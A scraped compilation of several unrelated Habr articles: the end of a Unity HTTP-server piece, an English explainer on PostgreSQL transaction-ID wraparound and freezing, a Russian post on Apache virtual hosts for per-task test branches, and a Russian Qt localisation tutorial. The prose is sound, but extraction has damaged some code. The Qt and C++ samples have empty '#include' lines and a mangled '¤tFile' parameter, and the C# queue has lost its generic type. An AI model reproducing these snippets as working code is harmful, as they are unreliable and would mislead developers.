Плюс дополнительно описать обработчик *WebInput* и интерфейс *IKeyInput*. Всё. Наш хендлер подключен и работает. Можно проверить в браузере по урлу вида *http://localhost:{yourPort}/gamepad/down/A/*. (Лучше предварительно в статик методах вывести лог) Поэтому я обожаю этот паттерн для консольных команд, типа читов в игре. Так как не нужно думать “что и куда тут подключить”. Создаёшь наследника класса, прописываешь имя команды и её параметры (парсинг стандартизирован в основном классе) и логику его обработки. И всё, он автоматически подключен в систему.
Потоки и контексты
------------------
Но выше был довольно простой пример не учитывающий один небольшой нюанс. Юнити нормально работает только в *Main Thread*. Допустим задать текст в текстовое поле в интерфейсе. Для этого нам нужно сменить контекст исполнения. В шарпах появился вроде как более элегантный способ, но я предпочитаю по старинке. Создать клаcc *ThreadDispatcher*:
Класс ThreadDispatcher
```
using System;
using System.Collections;
using System.Collections.Concurrent;
using System.Collections.Generic;
using UnityEngine;
public class ThreadDispatcher : MonoBehaviour
{
private ConcurrentQueue \_Events;
public static ThreadDispatcher Instance;
private void Awake()
{
Instance = this;
\_Events = new ConcurrentQueue();
}
private void Update()
{
while(\_Events.Count > 0)
{
if (\_Events.TryDequeue(out var action))
{
action?.Invoke();
}
}
}
public void AddEvent(Action action)
{
\_Events.Enqueue(action);
}
}
```
Пример использования:
```
ThreadDispatcher.Instance.AddEvent(() =>
{
//your require main thread code here
});
```
В заключении
------------
А где же геймпад? Собственно для реализации геймпада нам нужно сделать веб приложение. Я сделал его на связке React/Redux + PIXI.js. Может базово разберу его в отдельной статье, а пока пример можно [найти тут](https://github.com/Nox7atra/UnitySimpleHttpServer) и просто взять as-is если кому-то будет полезно. Полный разбор, особенно понятный Unity разработчикам, требует погружения в js и его технологии. А не все в них любят погружаться. Хотя чтобы быть настоящим кроссплатформенным разработчиком вы должны знать нюансы всех платформ, и веба в том числе. Спасибо за внимание! | https://habr.com/ru/post/652617/ | null | ru | null |
# MVCC in PostgreSQL-8. Freezing
We started with problems related to [isolation](https://habr.com/ru/company/postgrespro/blog/467437/), made a digression about [low-level data structure](https://habr.com/ru/company/postgrespro/blog/469087/), discussed [row versions](https://habr.com/ru/company/postgrespro/blog/477648/) in detail and observed how [data snapshots](https://habr.com/ru/company/postgrespro/blog/479512/) are obtained from row versions.
Then we covered different vacuuming techniques: [in-page vacuum](https://habr.com/ru/company/postgrespro/blog/483768/) (along with HOT updates), [vacuum](https://habr.com/ru/company/postgrespro/blog/484106/) and [autovacuum](https://habr.com/ru/company/postgrespro/blog/486104/).
Now we've reached the last topic of this series. We will talk on the transaction id wraparound and freezing.
Transaction ID wraparound
=========================
PostgreSQL uses 32-bit transaction IDs. This is a pretty large number (about 4 billion), but with intensive work of the server, this number is not unlikely to get exhausted. For example: with the workload of 1000 transactions a second, this will happen as early as in one month and a half of continuous work.
But we've mentioned that multiversion concurrency control relies on the sequential numbering, which means that of two transactions the one with a smaller number can be considered to have started earlier. Therefore, it is clear that it is not an option to just reset the counter and start the numbering from scratch.
But why not use 64-bit transaction IDs — wouldn't it completely eliminate the issue? The thing is that the header of each tuple (as discussed [earlier](https://habr.com/ru/company/postgrespro/blog/477648/)) stores two transaction IDs: `xmin` and `xmax`. The header is pretty large as it is — 23 bytes at a minimum, and the increase of the bit size would entail the increase of the header by extra 8 bytes. And this is out of all reason.
> 64-bit transaction IDs are implemented in our company's Postgres Pro Enterprise product, but they are not quite fair there: `xmin` and `xmax` are still 32-bit, and a page header stores the «beginning of the epoch», which is common for the whole page.
>
>
So what's to be done? Instead of ordering transaction IDs sequentially (as numbers), imagine a circle or a clock dial. Transaction IDs are compared in the same sense as clock readings are compared. That is, for each transaction, the «counterclockwise» half of transaction IDs is regarded to pertain to the past, while the «clockwise» part is regarded to pertain to the future.
The age of the transaction is defined as the number of transactions that ran since the time when the transaction occurred in the system (regardless of the transaction ID wraparound). To figure out whether one transaction is older than the other, we compare their ages rather than IDs. (By the way, it's for this reason that the operations «greater» and «less» are not defined for the `xid` data type.)
But this looped arrangement is troublesome. A transaction that was in the distant past (transaction 1 in the figure), some time later will get into the half of the circle pertinent to the future. This, certainly, breaks visibility rules and would cause issues: changes done by the transaction 1 would just fall out of sight.
Tuple freezing and visibility rules
===================================
To prevent such «travels» from the past to future, vacuuming does one more task (in addition to freeing page space). It finds pretty old and «cold» tuples (which are visible in all snapshots and are unlikely to change) and marks them in a special way, that is, «freezes» them. A frozen tuple is considered older than any normal data and is always visible in all snapshots. And it is no longer needed to look at the `xmin` transaction number, and this number can be safely reused. So, frozen tuples always remain in the past.
To track the `xmin` transaction as frozen, both hint bits are set: `committed` and `aborted`.
Note that the `xmax` transaction does not need freezing. Its existence indicates that the tuple is not live anymore. When it gets no longer visible in data snapshots, this tuple will be vacuumed away.
Let's create a table for experiments. And let's specify the minimum fillfactor for it such that only two rows fit on each page — this makes it more convenient for us to watch what is happening. Let's also turn autovacuum off to control the vacuuming time on our own.
```
=> CREATE TABLE tfreeze(
id integer,
s char(300)
) WITH (fillfactor = 10, autovacuum_enabled = off);
```
We've already created a few variants of the function that uses the «pageinspect» extension to show the tuples located on a page. We will now create one more variant of this function: it will show several pages at once and output the age of the `xmin` transaction (using the `age` system function):
```
=> CREATE FUNCTION heap_page(relname text, pageno_from integer, pageno_to integer)
RETURNS TABLE(ctid tid, state text, xmin text, xmin_age integer, xmax text, t_ctid tid)
AS $$
SELECT (pageno,lp)::text::tid AS ctid,
CASE lp_flags
WHEN 0 THEN 'unused'
WHEN 1 THEN 'normal'
WHEN 2 THEN 'redirect to '||lp_off
WHEN 3 THEN 'dead'
END AS state,
t_xmin || CASE
WHEN (t_infomask & 256+512) = 256+512 THEN ' (f)'
WHEN (t_infomask & 256) > 0 THEN ' (c)'
WHEN (t_infomask & 512) > 0 THEN ' (a)'
ELSE ''
END AS xmin,
age(t_xmin) xmin_age,
t_xmax || CASE
WHEN (t_infomask & 1024) > 0 THEN ' (c)'
WHEN (t_infomask & 2048) > 0 THEN ' (a)'
ELSE ''
END AS xmax,
t_ctid
FROM generate_series(pageno_from, pageno_to) p(pageno),
heap_page_items(get_raw_page(relname, pageno))
ORDER BY pageno, lp;
$$ LANGUAGE SQL;
```
Note that both `committed` and `aborted` hint bits set indicate freezing (which we denote with a parenthesized «f»). Multiple sources (including the documentation) mention a specialized ID to indicate frozen transactions: FrozenTransactionId = 2. This method was in place in PostgreSQL versions earlier than 9.4, and now it is replaced with hint bits. This permits to retain the initial transaction number in a tuple, which is convenient for maintenance and debugging. However, you can still come across transactions with ID = 2 in old systems, even upgraded to latest versions.
We will also need the «pg\_visibility» extension, which enables us to look into the visibility map:
```
=> CREATE EXTENSION pg_visibility;
```
In PostgreSQL versions earlier than 9.6, the visibility map contained one bit per page; the map tracked only pages with «pretty old» row versions, which are visible in all data snapshots for sure. The idea behind this is that if a page is tracked in the visibility map, the visibility rules for its tuples do not need to be checked.
Starting with version 9.6, the all-frozen bit for each page was added to the visibility map. The all-frozen bit tracks pages where all tuples are frozen.
Let's insert a few rows into the table and immediately do vacuuming for the visibility map to be created:
```
=> INSERT INTO tfreeze(id, s)
SELECT g.id, 'FOO' FROM generate_series(1,100) g(id);
=> VACUUM tfreeze;
```
And we can see that both pages are known to be all-visible, but not to be all-frozen:
```
=> SELECT * FROM generate_series(0,1) g(blkno), pg_visibility_map('tfreeze',g.blkno)
ORDER BY g.blkno;
```
```
blkno | all_visible | all_frozen
-------+-------------+------------
0 | t | f
1 | t | f
(2 rows)
```
The age of the transaction that created the rows (`xmin_age`) equals one — this is the last transaction performed in the system:
```
=> SELECT * FROM heap_page('tfreeze',0,1);
```
```
ctid | state | xmin | xmin_age | xmax | t_ctid
-------+--------+---------+----------+-------+--------
(0,1) | normal | 697 (c) | 1 | 0 (a) | (0,1)
(0,2) | normal | 697 (c) | 1 | 0 (a) | (0,2)
(1,1) | normal | 697 (c) | 1 | 0 (a) | (1,1)
(1,2) | normal | 697 (c) | 1 | 0 (a) | (1,2)
(4 rows)
```
Minimum age for freezing
========================
Three main parameters control freezing, and we will discuss them one after another.
Let's start with *vacuum\_freeze\_min\_age*, which defines the minimum age of the `xmin` transaction for which a tuple can be frozen. The smaller this value, the more extra overhead there may be: if we deal with «hot», intensively changing, data, freezing of new and newer tuples will go down the drain. In this case, it's better to wait.
The default value of this parameter specifies that a transaction starts getting frozen when 50 million of other transactions ran since the time it occurred:
```
=> SHOW vacuum_freeze_min_age;
```
```
vacuum_freeze_min_age
-----------------------
50000000
(1 row)
```
To watch freezing, let's reduce the value of this parameter to one.
```
=> ALTER SYSTEM SET vacuum_freeze_min_age = 1;
=> SELECT pg_reload_conf();
```
And let's update one row on the zero page. The new version will get onto the same page because of the small fillfactor.
```
=> UPDATE tfreeze SET s = 'BAR' WHERE id = 1;
```
This is what we now see on the data pages:
```
=> SELECT * FROM heap_page('tfreeze',0,1);
```
```
ctid | state | xmin | xmin_age | xmax | t_ctid
-------+--------+---------+----------+-------+--------
(0,1) | normal | 697 (c) | 2 | 698 | (0,3)
(0,2) | normal | 697 (c) | 2 | 0 (a) | (0,2)
(0,3) | normal | 698 | 1 | 0 (a) | (0,3)
(1,1) | normal | 697 (c) | 2 | 0 (a) | (1,1)
(1,2) | normal | 697 (c) | 2 | 0 (a) | (1,2)
(5 rows)
```
Now the rows older than *vacuum\_freeze\_min\_age* = 1 are to be frozen. But note that the zero row is not tracked in the visibility map (the UPDATE command that changed the page reset the bit), while the first one is still tracked:
```
=> SELECT * FROM generate_series(0,1) g(blkno), pg_visibility_map('tfreeze',g.blkno)
ORDER BY g.blkno;
```
```
blkno | all_visible | all_frozen
-------+-------------+------------
0 | f | f
1 | t | f
(2 rows)
```
We've [already discussed](https://habr.com/ru/company/postgrespro/blog/484106/) that vacuuming looks only through pages not tracked in the visibility map. And this is the case:
```
=> VACUUM tfreeze;
=> SELECT * FROM heap_page('tfreeze',0,1);
```
```
ctid | state | xmin | xmin_age | xmax | t_ctid
-------+---------------+---------+----------+-------+--------
(0,1) | redirect to 3 | | | |
(0,2) | normal | 697 (f) | 2 | 0 (a) | (0,2)
(0,3) | normal | 698 (c) | 1 | 0 (a) | (0,3)
(1,1) | normal | 697 (c) | 2 | 0 (a) | (1,1)
(1,2) | normal | 697 (c) | 2 | 0 (a) | (1,2)
(5 rows)
```
On the zero page, one version is frozen, but vacuuming did not look into the first page at all. So, if only live tuples are left on a page, vacuuming will not access this page and will not freeze them.
```
=> SELECT * FROM generate_series(0,1) g(blkno), pg_visibility_map('tfreeze',g.blkno)
ORDER BY g.blkno;
```
```
blkno | all_visible | all_frozen
-------+-------------+------------
0 | t | f
1 | t | f
(2 rows)
```
Age to freeze the entire table
==============================
To freeze the tuples left on pages where vacuuming does not normally look, the second parameter is provided: *vacuum\_freeze\_table\_age*. It defines the age of the transaction for which vacuuming ignores the visibility map and looks through all the table pages in order to do freezing.
Each page stores the transaction ID for which all the older transactions are known to be frozen for sure (`pg_class.relfrozenxid`). And this is the age of this stored transaction that the value of the *vacuum\_freeze\_table\_age* parameter is compared to.
```
=> SELECT relfrozenxid, age(relfrozenxid) FROM pg_class WHERE relname = 'tfreeze';
```
```
relfrozenxid | age
--------------+-----
694 | 5
(1 row)
```
Before PostgreSQL 9.6, each time vacuuming did full scan of a table in order to visit all the pages for sure. For large-size tables this operation was long and sad. The matter was even worse because if vacuuming did not complete (for example, an impatient admin interrupted the command), the process had to be started from the very beginning.
Since version 9.6, thanks to the all-frozen bit (which we can see in the `all_frozen` column in the `pg_visibility_map` output), vacuuming goes only through pages for which the bit is not set yet. This ensures not only a considerably smaller amount of work, but also interrupt tolerance: if a vacuum process is stopped and restarted, it will not have to look again into the pages for which it already set the all-frozen bit last time.
Anyway, all table pages get frozen once every (*vacuum\_freeze\_table\_age* − *vacuum\_freeze\_min\_age*) transactions. With the default values, this happens once a million transactions:
```
=> SHOW vacuum_freeze_table_age;
```
```
vacuum_freeze_table_age
-------------------------
150000000
(1 row)
```
So it is clear that a too large value of *vacuum\_freeze\_min\_age* is not an option either since this will start increasing the overhead rather than reduce it.
Let's see how freezing of an entire table is done, and to this end, we'll reduce *vacuum\_freeze\_table\_age* to 5, so that the freezing condition is met.
```
=> ALTER SYSTEM SET vacuum_freeze_table_age = 5;
=> SELECT pg_reload_conf();
```
Let's do freezing:
```
=> VACUUM tfreeze;
```
Now, since the entire table was checked for sure, the ID of the frozen transaction can be increased because we are certain that no older unfrozen transaction is left on the pages.
```
=> SELECT relfrozenxid, age(relfrozenxid) FROM pg_class WHERE relname = 'tfreeze';
```
```
relfrozenxid | age
--------------+-----
698 | 1
(1 row)
```
Now all the tuples on the first page are frozen:
```
=> SELECT * FROM heap_page('tfreeze',0,1);
```
```
ctid | state | xmin | xmin_age | xmax | t_ctid
-------+---------------+---------+----------+-------+--------
(0,1) | redirect to 3 | | | |
(0,2) | normal | 697 (f) | 2 | 0 (a) | (0,2)
(0,3) | normal | 698 (c) | 1 | 0 (a) | (0,3)
(1,1) | normal | 697 (f) | 2 | 0 (a) | (1,1)
(1,2) | normal | 697 (f) | 2 | 0 (a) | (1,2)
(5 rows)
```
Besides, the first page is known to be all-frozen:
```
=> SELECT * FROM generate_series(0,1) g(blkno), pg_visibility_map('tfreeze',g.blkno)
ORDER BY g.blkno;
```
```
blkno | all_visible | all_frozen
-------+-------------+------------
0 | t | f
1 | t | t
(2 rows)
```
Age for «aggressive» freezing
=============================
Timely freezing of tuples is essential. If a transaction that is not frozen yet faces a risk to get to the future, PostgreSQL will shutdown in order to prevent possible issues.
Why can this happen? There are various reasons.
* Autovacuum may be turned off, and VACUUM is not launched either. We've already mentioned that you should not do so, but this is technically possible.
* Even if autovacuum is turned on, it does not reach unused databases (remember the *track\_counts* parameter and «template0» database).
* As we observed [last time](https://habr.com/ru/company/postgrespro/blog/486104/), vacuuming skips tables where data is only added, but not deleted or changed.
To respond to these, «aggressive» freezing is provided, which is controlled by the *autovacuum\_freeze\_max\_age* parameter. If a table in some database may have an unfrozen transaction that is older that the age specified in the age parameter, forced autovacuuming is launched (even if it is turned off) and the processes will sooner or later reach the problematic table (regardless of usual criteria).
The default value is pretty conservative:
```
=> SHOW autovacuum_freeze_max_age;
```
```
autovacuum_freeze_max_age
---------------------------
200000000
(1 row)
```
The limitation for *autovacuum\_freeze\_max\_age* is 2 billion transactions, and the value used is 10 times smaller. And this makes sense: by increasing the value we also increase the risk for autovacuuming to be unable to freeze all the necessary rows during the time interval left.
Besides, the value of this parameter determines the size of the XACT structure: since the system must not retain older transactions that may require the status to be found out, autovacuuming frees space by deleting unneeded segment files of XACT.
Let's look at how vacuuming handles append-only tables by example of «tfreeze». Autovacuum is turned off for this table, but even this won't hinder.
The change of the *autovacuum\_freeze\_max\_age* parameter requires the server to restart. But you can also set all the above parameters at the level of separate tables by means of storage parameters. This usually makes sense to do only in special situations when the table does require special handling.
So, we'll set *autovacuum\_freeze\_max\_age* at the table level (and revert to the normal fillfactor at the same time). Unfortunately the minimum possible value is 100 000:
```
=> ALTER TABLE tfreeze SET (autovacuum_freeze_max_age = 100000, fillfactor = 100);
```
Unfortunately — because we will have to perform 100 000 transactions to reproduce the situation of interest. But for practical use this is, certainly, an extremely low value.
Since we are going to add data, let's insert 100 000 rows into the table, each in its own transaction. And again, note that you should avoid doing so in a real-case scenario. But we are only researching, so we are permitted.
```
=> CREATE PROCEDURE foo(id integer) AS $$
BEGIN
INSERT INTO tfreeze VALUES (id, 'FOO');
COMMIT;
END;
$$ LANGUAGE plpgsql;
=> DO $$
BEGIN
FOR i IN 101 .. 100100 LOOP
CALL foo(i);
END LOOP;
END;
$$;
```
As we can see, the age of the last frozen transaction in the table exceeded the threshold:
```
=> SELECT relfrozenxid, age(relfrozenxid) FROM pg_class WHERE relname = 'tfreeze';
```
```
relfrozenxid | age
--------------+--------
698 | 100006
(1 row)
```
But now if we wait for a while, a record will appear in the message log on `automatic aggressive vacuum of table "test.public.tfreeze"`, the number of the frozen transaction will change and its age will no longer be beyond the bounds of decency:
```
=> SELECT relfrozenxid, age(relfrozenxid) FROM pg_class WHERE relname = 'tfreeze';
```
```
relfrozenxid | age
--------------+-----
100703 | 3
(1 row)
```
> There is also the multixact freezing technique, but we'll put a talk on it off until we discuss locks, to avoid getting so far ahead.
>
>
Freezing manually
=================
Sometimes it appears convenient to control freezing manually rather than rely on autovacuuming.
You can manually launch freezing by means the VACUUM FREEZE command. It will freeze all the tuples regardless of the age of transactions (as if the *autovacuum\_freeze\_min\_age* parameter were equal to zero). When a table is rewritten using the VACUUM FULL or CLUSTER command, all the rows also get frozen.
To freeze all the databases, you can use the utility:
```
vacuumdb --all --freeze
```
The data can also be frozen when it is initially loaded by the COPY command if the FREEZE parameter is specified. To this end, the table must be created (or emptied with the TRUNCATE command) in the same transaction as COPY.
Since there is an exception for frozen rows in visibility rules, such rows will be visible in the snapshots of other transactions, which violates normal isolation rules (this relates to transactions with the Repeatable Read or Serializable level).
To make sure of this, in another session, let's start a transaction with the Repeatable Read isolation level:
```
| => BEGIN ISOLATION LEVEL REPEATABLE READ;
| => SELECT txid_current();
```
Note that this transaction created a data snapshot, but did not access the «tfreeze» table. We will now truncate the «tfreeze» table and load new rows there in one transaction. If a parallel transaction read the contents of «tfreeze», the TRUNCATE command would be locked to the end of this transaction.
```
=> BEGIN;
=> TRUNCATE tfreeze;
=> COPY tfreeze FROM stdin WITH FREEZE;
```
```
1 FOO
2 BAR
3 BAZ
\.
```
```
=> COMMIT;
```
Now the concurrent transaction sees the new data, although this violates isolation:
```
| => SELECT count(*) FROM tfreeze;
```
```
| count
| -------
| 3
| (1 row)
```
```
| => COMMIT;
```
But since such data loading is unlikely to regularly happen, this is hardly an issue.
What is much worse is that COPY WITH FREEZE does not work with the visibility map — loaded pages are not tracked as containing only tuples visible to all. Therefore, when a vacuum operation accesses the table first, it has to process all the table again and create the visibility map. What is even worse is that data pages have the all-visible indicator in their own headers, and therefore, vacuuming not only reads the entire table, but also entirely rewrites it to set the needed bit. Unfortunately, the solution to this problem can be expected not earlier than in version 13 ([discussion](https://postgrespro.ru/list/thread-id/2427951#CABOikdN-ptGv0mZntrK2Q8OtfUuAjqaYMGmkdU1dCKFtUxVLrg@mail.gmail.com)).
Conclusion
==========
This completes the series of articles on isolation and multiversion concurrency control in PostgreSQL. Thank you for your attention and especially for comments. They help improve the contents and often detect the areas that require more intense attention on my part.
Stay with us, there is more to come! | https://habr.com/ru/post/487590/ | null | en | null |
# Как мы устроили бранчи под каждую задачу
Всем привет! Сегодня я бы хотел рассказать о том, какие есть способы устроить бранчи под каждую задачу и как мы это сделали у себя в Alawar. Здесь рассматривается простой приём с apache2, который позволяет получить отличный результат и может быть полезна как веб-разработчиками, так и системным администраторам. Стоит отметить, что аналогичные решения уже освещались на хабре (например, [тут](http://habrahabr.ru/post/158855/)), но часто они написаны для слишком узкой аудитории и не дают ответы на все вопросы и, главное, часто усложняют задачу. Цель же конкретно этой статьи, – показать, как на самом деле всё просто.
Итак, начнём.
Несколько лет назад у нас была проблема, которая заключалась в том, что было достаточно трудозатратно подготовить отдельную тестовую площадку на сервере под каждую задачу. На тот момент использовалась одна ветка (trunk) в репозитории для всех разработчиков и один тестовый сервер. Для крупных задач, конечно же, вручную готовились отдельные инстансы, но это была скорее вынужденная мера, чем нормальное решение. Всё это периодически приводило к конфликтам в коде по ходу разработки, и самое печальное,– к неожиданным поломкам одной задачи, из-за проведённых работ в рамках другой задачи.
##### Немного об особенностях проекта
Речь идёт об одном из наших крупных проектов (сайты alawar.ru, alawar.com и т.д.), суть которого – предоставлять разный контент с разных доменов на разных языках. В рамках одного проекта задействовано порядка сотни доменов и поддоменов.
Любое изменение в коде сопровождается соответствующим тикетом в багтрекере. Тикеты разного масштаба выполняются по несколько десятков в неделю. Тестировать необходимо каждый тикет по отдельности.
Репозиторий, при решении данной задачи не критичен, можно использовать любой, где есть возможность вести разработку в отдельной ветке, так что я специально не буду заострять на этом вопросе внимание.
##### Какие у нас были варианты
1. Создавать конфигурацию сервера вручную
На самом деле мы долгое время так и делали, но не для всех задач, т.к. это занимало действительно много времени. Поэтому создавали только то, что нужно и по возможности только необходимый минимум.
2. Настроить по 1-2 тестовых стенда на разработчика
Такой подход позволяет разработчику показать одну задачу и делать вторую, но остальные задачи при такой конфигурации уже не посмотришь. И возникает путаница, когда разработчик переключает тестовый стенд на другую задачу.
3. На тестовом сервере менять правила формирования и обработки URL-ов
Например сделать все ссылки в проекте по такому принципу: **http:// test.local / (task-number) / (host) / (uri)**.
Был и такой вариант, но требовал очень большого рефакторинга, так что здравый смысл не позволил нам пойти по такому пути. Но это не значит, что этот метод не подойдёт другим.
4. Виртуалка под каждую задачу
Идея в том, что хосты и пути всегда одни, код от нужной задачи, БД и прочие сервисы – свои. С точки зрения тестирования это, наверное, идеальный вариант.
В нашем случае один полноценный инстанс кода, вместе с БД, вместе со статикой и т.д. – это десятки гигабайт данных. Одно поднятие такого инстанса с нуля занимало бы у нас достаточно долгое время. Вдобавок, под все текущие задачи требовался бы не один терабайт данных. Но самое главное, в этом случае нам недостаточно было бы просто дать ссылку на реализованную задачу, чтобы показать результат заказчику. Нужно было бы её предварительно ещё и запустить, а такой вариант не казался нам удобным.
5. Использовать виртуальные хосты
В apache2 есть параметры UseCanonicalName и VirtualDocumentRoot ([Ссылка на документацию](http://httpd.apache.org/docs/2.2/mod/mod_vhost_alias.html)). Они позволяют использовать субдомены хоста как часть пути к док. руту проекта и всё это без рестарта apache2. Благодаря этим параметрам фактически мы можем указать в хосте путь к инстансу + uri чтобы получить нужный нам ответ.
##### Наш выбор
В итоге мы выбрали вариант с виртуальными хостами и определили следующий формат адресов: **http:// (task-number). (site-identifier). test.local / (uri)**.
Где (site-identifier) может принимать значения вида:
• ru – в этом случае понимаем, что нужно показать основной сайт в зоне .ru
• com – основной сайт в зоне .com
• test.ru – субдомен test основного сайта в зоне .ru
• data.export.com – субдомен data.export основного сайта в зоне .com
Для проектов, где нет понятия основного сайта, применимы следующие правила:
• example.com – в этом случае понимаем, что нужно показать сайт example.com
• test. example.com – субдомен test. example.com
• data.export. example.com – субдомен data.export. example.com
• и т.д.
В итоге, набирая адрес в браузере: http://task-1234.example.com.test.local/some/page/?someParams=value мы однозначно знаем, что сервер отдаст ответ с ветки кода задачи task-1234, обработчик сайта example.com/some/page/?someParams=value.
Чтобы всё стало работать так, как мы это задумали, потребовалось зафиксировать пути к док.руту следующим образом:
`/data/projects/projectName/branches/(task-number)/application/public`
И обучить проект определять имя хоста, согласно нашим правилам.
Из особенностей могу отметить, что для систем, где важен регистр пути к файлу, (task-number) и (site-identifier) должны быть в нижнем регистре.
Пример конфигурации тестовой площадки Apache2:
```
UseCanonicalName Off
VirtualDocumentRoot /data/projects/projectName/branches/%1/application/public
ServerName test.local
ServerAlias \*.test.local
Options -Indexes
CustomLog /dev/null combined
```
##### Автоматический деплой
В конечном счёте были написаны скрипты для автоматизированного деплоя, которые создают нужную ветку кода в репозитории, делают распаковку и настройку локального инстанса на тестовом сервере за пару минут, но это уже отдельная тема, здесь расскажу об этом в общих словах.
Автоматизацию деплоя можно провести разными средствами (скрипт на bash-е, phing, ant и т.д.).
Такой способ заключается в прописывании последовательности команд, которые необходимо выполнить, чтобы поднять инстанс вашего проекта. Для большинства веб-проектов он будет выглядеть примерно так:
1. Спросить task-number (или получить в качестве параметра имя ветки);
2. Создать бранч в репозитории, если его нет;
3. Создать папку под бранч (если её нет);
4. Сделать чекаут(ы) кода;
5. Настроить права на запись в нужные папки/файлы;
6. Настроить конфигурацию проекта;
7. Проставить нужные симлинки;
8. (выполнить другие специфичные проекту действия);
9. Выполнить инициализационные скрипты проекта;
10. При желании запустить тесты, чтобы убедиться, что всё ок.
##### Итак,
на проектах, которые могут использовать apache2 в качестве сервера, вы сможете легко использовать описанный в этой статье способ идентификации нужной версии сайта через виртуальные хосты.
Если вы знаете другие способы подготовки тестовых площадок под каждую ветку, которые в данной статье не описаны, напишите про них в комментариях, думаю, это будет очень полезно всем читателям | https://habr.com/ru/post/181636/ | null | ru | null |
# Qt — трудности перевода
Вы написали программу на Qt и хотите перевести ее на другие языки, что бы сделать ее полезной для людей в других странах. Сделать это не просто, а очень просто. Для этого нам потребуется сделать всего три простых шага.
#### Исходная программа
Пусть у нас есть простая программа:
> `1. #include
> 2. #include
> 3.
> 4. int main(int argc, char \*argv[]) {
> 5. QApplication app(argc, argv);
> 6. QLabel label("Hello, World!");
> 7. label.show();
> 8. return app.exec();
> 9. }
> \* This source code was highlighted with Source Code Highlighter.`
Все что она делает — создает окно с надписью «Hello,World!». Сделаем для нее перевод на русский язык.
#### Шаг 1. Указание всех строк, для которых требуется сделать перевод
Все строки, которые увидит пользователь должны быть обработаны функциями QObject::tr() или QcoreApplication::translate().
У всех классов Qt, наследуемых от QObject, есть функция-член tr(). Так как мы работаем со строкой в глобальной функции которая не относится ни к какому классу, то используем функцию translate(), которая позволяет указать контекст перевода, то есть класс, к которому он относится (в данном случае — QLabel).
> `1. #include
> 2. #include
> 3.
> 4. int main(int argc, char \*argv[]) {
> 5. QApplication app(argc, argv);
> 6. QLabel label(app.translate("QLabel", "Hello, World!"));
> 7. label.show();
> 8. return app.exec();
> 9. }
> \* This source code was highlighted with Source Code Highlighter.`
В фунцкиях tr() и translate() после переводимой строки можно указать комментарий, который будет показан переводчику во время перевода приложения на другой языка. Комментарии используются для устранения двусмысленности.
Если вам потребуется перевести текст, который находится вне функции, есть два макроса для помощи: QT\_TR\_NOOP() и QT\_TRANSLATE\_NOOP(), аналогичные tr() и translate(). Они незаметно помечают текст для извлечения утилитой lupdate, про которую мы поговорим ниже:
> `1. static const char \*greeting\_strings[] = {
> 2. QT\_TR\_NOOP("Hello"),
> 3. QT\_TR\_NOOP("Goodbye")
> 4. };
> 5. static const char \*greeting\_strings[] = {
> 6. QT\_TRANSLATE\_NOOP("HelloWidget", "Hello"),
> 7. QT\_TRANSLATE\_NOOP("HelloWidget", "Goodbye")
> 8. };
> \* This source code was highlighted with Source Code Highlighter.`
При отключении автоматического преобразования из const char \* в QString путем компиляции программы с определенным макросом QT\_NO\_CAST\_FROM\_ASCII можно найти все строки, которые пропустили.
Когда в середину строки нам понадобится вставлять значения каких-либо переменных, лучше всего использовать функцию arg(). Например, при копировании файлов мы могли бы отображать ход процесса следующим образом:
> `1. void FileCopier::showProgress(int done, int total,
> 2. const QString ¤tFile)
> 3. {
> 4. label.setText(tr("%1 of %2 files copied.\nCopying: %3")
> 5. .arg(done)
> 6. .arg(total)
> 7. .arg(currentFile));
> 8. }
> \* This source code was highlighted with Source Code Highlighter.`
Если потребуется изменить порядок аргументов при переводе, то при переводе надо будет поменять переменные с символом % местами, например, вот так:
> «Копируем файл %3. %1 из %2 файлов скопировано»
Переписывать программу из-за этого не потребуется.
#### Шаг 2. Создание перевода
После того как мы использовали tr() по всему приложению, надо создать перевод текста. Перевод текста так же содержит 3 шага:
1. Запуск lupdate для извлечения переводимого текста из исходного кода приложения Qt на C++, создавая файл сообщений для переводчиков (файл .ts). Утилита распознает конструкторы tr() и translate() и макросы QT\_TR\*\_NOOP(), описанные выше, и производит файлы .ts (обычно один на каждый язык).
2. Обеспечение переводов для исходных текстов в файле .ts, используя Qt Linguist. Так как файлы .ts в формате XML, их можно также отредактировать вручную.
3. Запуск lrelease для получения легкого файла сообщений (файл .qm) из файла .ts, удобного только для конечного пользования. Думайте о файлах .ts как об «исходных файлах», и о файлах .qm как об «объектных файлах». Переводчик редактирует файлы .ts, но пользователям нашего приложения требуются только файлы .qm. Оба типа файлов не зависят от платформы и локали.
Обычно надо повторять эти шаги для каждого выпуска приложения. Утилита lupdate делает все возможное по повторному использованию переводов от предыдущих релизов.
Перед запуском lupdate, вам потребуется подготовить файл проектов. Вот как будет выглядеть наш файл проекта (файл helloworld.pro):
TEMPLATE = app
TARGET = release
DEPENDPATH +=.
INCLUDEPATH +=.
SOURCES += main.cpp
TRANSLATIONS += helloworld\_ru.ts
Когда вы запускаете lupdate или lrelease, вы должны предоставить имя файла проекта в качестве аргумента командной строки.
#### Шаг 3. Загрузка файлов переводов в приложении.
В нашем приложении мы должны загрузить QTranslator::load() файлы используя QcoreApplication::installTranslator(). Окончательная версия программы примет вид:
> `1. #include
> 2. #include
> 3.
> 4. int main(int argc, char \*argv[]) {
> 5. QApplication app(argc, argv);
> 6. QTranslator myTranslator;
> 7. myTranslator.load("helloworld\_" + QLocale::system().name());
> 8. app.installTranslator(&myTranslator);
> 9. QLabel label(app.translate("QLabel", "Hello, World!"));
> 10. label.show();
> 11. return app.exec();
> 12. }
> \* This source code was highlighted with Source Code Highlighter.`
Мы создаем объект QTranslator, загружаем в него файл перевода с помощью функции load(). В ней мы указываем начало имени файла нашего перевода. По умолчанию файлы переводов ищутся в папке с программой, но можно указать любую директорию, передав ее имя в качестве второго параметра функции. Расширение ".qm" будет добавлено автоматически. Функция Qlocale::system().name() возвращает имя текущей локали, в моем случае это было ru\_RU.UTF-8. Порядок поиска файла переводов функцией load() будет следующим:
1. helloworld\_ru\_RU.UTF-8.qm
2. helloworld\_ru\_RU.UTF-8
3. helloworld\_ru\_RU.qm
4. helloworld\_ru\_RU
5. helloworld\_ru.qm
6. helloworld\_ru
7. helloworld.qm
8. helloworld
Правда когда я попробовал загрузить таким образом файл переводов в Windows XP, у меня ничего не вышло. Оказалось, что (по крайней мере у меня так) функция Qlocale::system().name() все время возвращала значение «С». Поэтому стоит предусмотреть дополнительный способ указания языка интерфейса приложения, например, через диалог настроек программы или параметры командной строки.
Вот и все, наше приложение переведено на русский язык, но есть еще парочка моментов, о которых стоит упомянуть в данной статье.
#### Дополнительные текстовые строки
